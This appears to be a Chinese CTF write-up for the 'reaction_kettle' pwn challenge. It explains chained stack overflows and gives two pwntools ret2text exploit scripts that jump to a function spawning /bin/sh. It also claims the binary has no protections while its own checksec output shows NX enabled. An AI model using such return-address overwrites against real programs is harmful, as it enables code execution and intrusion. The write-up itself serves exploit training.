预备知识

本题涉及到的知识点:

  • 栈溢出

程序分析

  1. 使用checksec查看保护情况。

    64位程序,没开任何保护。

    1
    2
    3
    4
    5
    Arch:     amd64-64-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x400000)
  2. 运行程序,发现提示我们关闭开关,并给我们了一个开关地址。

    reaction_kettle

  3. 拖入IDA进行分析。发现main函数存在简单的栈溢出漏洞。

    reaction_kettle_1

  4. 根据它的提示,我们进入easy函数。发现存在相同的漏洞。

    reaction_kettle_2

  5. 继续根据提示,进入normal函数。也存在栈溢出漏洞。

    reaction_kettle_3

  6. 继续根据提示,进入shell函数,发现执行了system(“/bin/sh”)。

    reaction_kettle_4

利用思路

ret2text

简直是送分题,连续几个栈溢出。

我们只需要找到几个函数对应的地址:

  • easy:0x00000000004006B0
  • normal:0x0000000000400607
  • shell:0x00000000004005F6

优化方法:不需要一步一步跳转,直接通过main函数的栈溢出漏洞跳转到shell即可。

exp

未优化版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.log_level = 'debug'

io = process('./reaction_kettle')

payload = 'A' * 0x200 + p64(0) + p64(0x00000000004006B0)
io.sendline(payload)
payload = 'A' * 0x180 + p64(0) + p64(0x0000000000400607)
io.sendline(payload)
payload = 'A' * 0x100 + p64(0) + p64(0x00000000004005F6)
io.sendline(payload)

io.interactive()

优化版本

1
2
3
4
5
6
7
8
9
10
from pwn import *

context.log_level = 'debug'

io = process('./reaction_kettle')

payload = 'A' * 0x200 + p64(0) + p64(0x00000000004005F6)
io.sendline(payload)

io.interactive()